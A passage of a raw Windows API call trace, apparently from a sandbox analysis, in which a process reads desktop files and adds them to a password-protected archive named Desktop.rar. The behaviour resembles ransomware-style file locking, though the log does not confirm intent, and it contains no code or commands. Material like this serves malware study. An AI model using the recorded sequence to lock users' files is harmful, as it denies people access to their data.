[0059.322] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.322] GetTickCount () returned 0xa65302 [0059.322] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=13466220026) returned 1 [0059.322] GetTickCount () returned 0xa65302 [0059.322] GetTickCount () returned 0xa65302 [0059.322] GetTickCount () returned 0xa65302 [0059.322] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.322] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.322] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.322] ResetEvent (hEvent=0x190) returned 1 [0059.322] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.323] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.323] ResetEvent (hEvent=0x190) returned 1 [0059.323] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.324] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.324] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.324] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.324] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x250ba [0059.324] SetFilePointer (in: hFile=0x198, lDistanceToMove=92, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x25116 [0059.324] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0059.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.325] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0059.325] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0059.325] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0059.325] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0xcf40, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0xcf40, lpOverlapped=0x0) returned 1 [0059.326] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.326] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.326] SetFilePointer (in: hFile=0x198, lDistanceToMove=151738, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x250ba [0059.326] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x250ba [0059.326] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490d0 [0059.326] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49100 [0059.326] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49100, Size=0x48) returned 0x34e340 [0059.326] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.326] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49100 [0059.326] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49100, Size=0x48) returned 0x34e390 [0059.326] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.326] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.326] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49100 [0059.326] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49130 [0059.326] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49130 | out: hHeap=0x290000) returned 1 [0059.326] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49100 | out: hHeap=0x290000) returned 1 [0059.326] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c490d0, Size=0x48) returned 0x34e340 [0059.326] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0059.326] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x5c, lpOverlapped=0x0) returned 1 [0059.326] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490d0 [0059.326] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x5c) returned 0x351440 [0059.326] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.326] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.326] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x32056 [0059.326] CloseHandle (hObject=0x1b0) returned 1 [0059.326] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.326] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.326] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.326] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.327] FindFirstFileW (in: lpFileName="czSQaVnIQO 0LFtEP.flv", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0059.327] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0059.327] CreateFileW (lpFileName="czSQaVnIQO 0LFtEP.flv" (normalized: "c:\\users\\whuoxysd\\desktop\\czsqavniqo 0lftep.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.327] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.327] GetTickCount () returned 0xa65312 [0059.327] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0059.327] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0059.327] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.327] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0059.327] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="CjID.mp3") returned 8 [0059.327] SetWindowTextW (hWnd=0x10216, lpString="czSQaVnIQO 0LFtEP.flv") returned 1 [0059.327] GetTickCount () returned 0xa65312 [0059.327] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.327] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0059.328] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0059.328] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0059.328] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x13)) [0059.328] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0059.328] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13466826965) returned 1 [0059.328] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0xfc3e, lpOverlapped=0x0) returned 1 [0059.329] ReadFile (in: hFile=0x1b0, lpBuffer=0x379fc7e, nNumberOfBytesToRead=0xf03c2, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x379fc7e*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0059.329] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.329] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.329] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49100 [0059.329] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49130 [0059.329] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49130, Size=0x48) returned 0x34e390 [0059.329] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.329] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49130 [0059.329] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49130, Size=0x48) returned 0x34e340 [0059.329] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.329] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.329] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49130 [0059.329] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.329] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49160 | out: hHeap=0x290000) returned 1 [0059.329] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49130 | out: hHeap=0x290000) returned 1 [0059.329] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49100, Size=0x48) returned 0x34e390 [0059.329] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0059.329] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.329] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.330] GetTickCount () returned 0xa65312 [0059.330] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13467043611) returned 1 [0059.330] GetTickCount () returned 0xa65312 [0059.330] GetTickCount () returned 0xa65312 [0059.330] GetTickCount () returned 0xa65312 [0059.330] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.330] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.330] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.331] ResetEvent (hEvent=0x1a4) returned 1 [0059.331] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.420] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.420] ResetEvent (hEvent=0x1a4) returned 1 [0059.420] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.423] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.423] GetTickCount () returned 0xa6536f [0059.424] GetLastError () returned 0x0 [0059.424] SetLastError (dwErrCode=0x0) [0059.424] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0059.424] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0059.424] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0059.424] SetWindowTextW (hWnd=0x10218, lpString=" 100%") returned 1 [0059.424] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0059.424] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=13476522789) returned 1 [0059.425] GetTickCount () returned 0xa6536f [0059.425] GetTickCount () returned 0xa6536f [0059.425] GetTickCount () returned 0xa6536f [0059.425] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.425] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.425] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.425] ResetEvent (hEvent=0x190) returned 1 [0059.425] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.426] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.426] ResetEvent (hEvent=0x190) returned 1 [0059.426] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.428] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.428] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.428] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.428] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x32056 [0059.428] SetFilePointer (in: hFile=0x198, lDistanceToMove=106, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x320c0 [0059.428] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0059.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.428] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0059.428] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0059.428] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0059.428] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0xfcc0, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0xfcc0, lpOverlapped=0x0) returned 1 [0059.430] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.430] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.430] SetFilePointer (in: hFile=0x198, lDistanceToMove=204886, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x32056 [0059.430] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x32056 [0059.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49100 [0059.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49130 [0059.430] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49130, Size=0x48) returned 0x34e340 [0059.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49130 [0059.430] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49130, Size=0x48) returned 0x34e390 [0059.430] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.430] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49130 [0059.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.430] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49160 | out: hHeap=0x290000) returned 1 [0059.430] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49130 | out: hHeap=0x290000) returned 1 [0059.430] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49100, Size=0x48) returned 0x34e340 [0059.430] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0059.430] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x6a, lpOverlapped=0x0) returned 1 [0059.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49100 [0059.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x6a) returned 0x299dd40 [0059.430] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.430] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.430] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x41d80 [0059.430] CloseHandle (hObject=0x1b0) returned 1 [0059.430] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.430] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.430] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.430] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.430] FindFirstFileW (in: lpFileName="desktop.ini", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0059.431] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0059.431] CreateFileW (lpFileName="desktop.ini" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.431] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.431] GetTickCount () returned 0xa6536f [0059.431] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0059.431] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0059.431] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.431] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0059.431] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="czSQaVnIQO 0LFtEP.flv") returned 22 [0059.431] SetWindowTextW (hWnd=0x10216, lpString="desktop.ini") returned 1 [0059.431] GetTickCount () returned 0xa6536f [0059.431] UpdateWindow (hWnd=0x1020e) returned 1 [0059.431] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.431] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0059.432] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0059.432] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0059.432] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x70)) [0059.432] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0059.432] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13477230184) returned 1 [0059.432] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x11a, lpOverlapped=0x0) returned 1 [0059.432] ReadFile (in: hFile=0x1b0, lpBuffer=0x379015a, nNumberOfBytesToRead=0xffee6, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x379015a*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0059.432] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49130 [0059.433] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.433] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49160, Size=0x48) returned 0x34e390 [0059.433] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.433] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.433] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49160, Size=0x48) returned 0x34e340 [0059.433] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.433] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.433] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.433] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49190 [0059.433] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49190 | out: hHeap=0x290000) returned 1 [0059.433] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49160 | out: hHeap=0x290000) returned 1 [0059.433] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49130, Size=0x48) returned 0x34e390 [0059.433] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0059.433] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.433] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.435] GetTickCount () returned 0xa6537f [0059.435] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13477532209) returned 1 [0059.435] GetTickCount () returned 0xa6537f [0059.435] GetTickCount () returned 0xa6537f [0059.435] GetTickCount () returned 0xa6537f [0059.435] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.435] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.435] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.435] ResetEvent (hEvent=0x1a4) returned 1 [0059.435] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.435] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.436] GetTickCount () returned 0xa6537f [0059.436] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=13477595192) returned 1 [0059.436] GetTickCount () returned 0xa6537f [0059.436] GetTickCount () returned 0xa6537f [0059.436] GetTickCount () returned 0xa6537f [0059.436] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.436] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.436] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.436] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.436] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.436] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x41d80 [0059.436] SetFilePointer (in: hFile=0x198, lDistanceToMove=93, 